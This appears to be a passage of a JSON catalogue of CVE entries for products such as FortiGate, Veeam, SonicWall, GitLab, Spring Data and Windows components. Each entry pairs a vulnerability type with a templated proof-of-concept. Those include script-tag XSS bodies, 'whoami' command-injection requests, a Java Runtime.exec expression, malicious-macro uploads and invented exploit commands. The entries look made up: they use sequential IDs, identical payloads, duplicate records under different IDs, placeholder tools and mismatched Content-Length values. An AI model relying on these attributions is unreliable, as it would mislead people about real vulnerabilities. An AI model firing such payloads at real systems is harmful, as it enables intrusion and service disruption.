    "id": "CVE-2023-28075",
    "title": "FortiGate - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiGate allows script execution via VPN config fields."
  },
  {
    "id": "CVE-2024-29929",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34204",
    "title": "SonicWall SMA - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/sma HTTP/1.1\nHost: sonicwall-sma-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall SMA allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26315",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40138",
    "title": "Apache Pulsar - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Pulsar API flaw causes denial of service via crafted function requests."
  },
  {
    "id": "CVE-2024-21477",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28348",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30171",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40661",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22344",
    "title": "Spring Data Elasticsearch - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data Elasticsearch flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28076",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29930",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34205",
    "title": "SonicWall Firewall - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Firewall flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26316",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40139",
    "title": "Apache Kafka - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Kafka allows script execution via topic names."
  },
  {
    "id": "CVE-2024-21478",
    "title": "Microsoft Azure AD - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"profile\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure AD allows script execution via user profiles."
  },
  {
    "id": "CVE-2023-28349",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30172",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40662",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22345",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28077",
    "title": "FortiMail - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiMail flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29931",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via configuration fields."
  },
  {
    "id": "CVE-2023-34206",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26317",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40140",
    "title": "Apache Druid - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Druid via SQL query execution."
  },
  {
    "id": "CVE-2024-21479",
    "title": "Microsoft Azure Kubernetes - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kubectl flood --target cluster_ip",
    "description": "Azure Kubernetes flaw causes denial of service via crafted pod requests."
  },
  {
    "id": "CVE-2023-28350",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30173",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40663",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22346",
    "title": "Spring Data Redis - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"key\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Redis allows script execution via key names."
  },
  {
    "id": "CVE-2023-28078",
    "title": "FortiGate - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiGate allows RCE."
  },
  {
    "id": "CVE-2024-29932",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report names."
  },
  {
    "id": "CVE-2023-34207",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-26318",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40141",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21480",
    "title": "Microsoft Azure Data Factory - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure Data Factory flaw causes denial of service via crafted pipeline requests."
  },
  {
    "id": "CVE-2023-28351",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30174",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40664",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22347",
    "title": "Spring Data Cassandra - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Cassandra allows script execution via query inputs."
  },
  {
    "id": "CVE-2023-28079",
    "title": "FortiWeb - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiWeb flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29933",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34208",
    "title": "SonicWall Firewall - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Firewall allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26319",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40142",
    "title": "Apache Kafka - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Kafka API flaw causes denial of service via crafted topic requests."
  },
  {
    "id": "CVE-2024-21481",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28352",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  },
  {
    "id": "CVE-2024-30175",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40665",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22348",
    "title": "Spring Data JPA - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data JPA flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28080",
    "title": "FortiVoice - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiVoice allows RCE."
  },
  {
    "id": "CVE-2024-29934",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34209",
    "title": "SonicWall VPN - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall VPN flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26320",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  }
]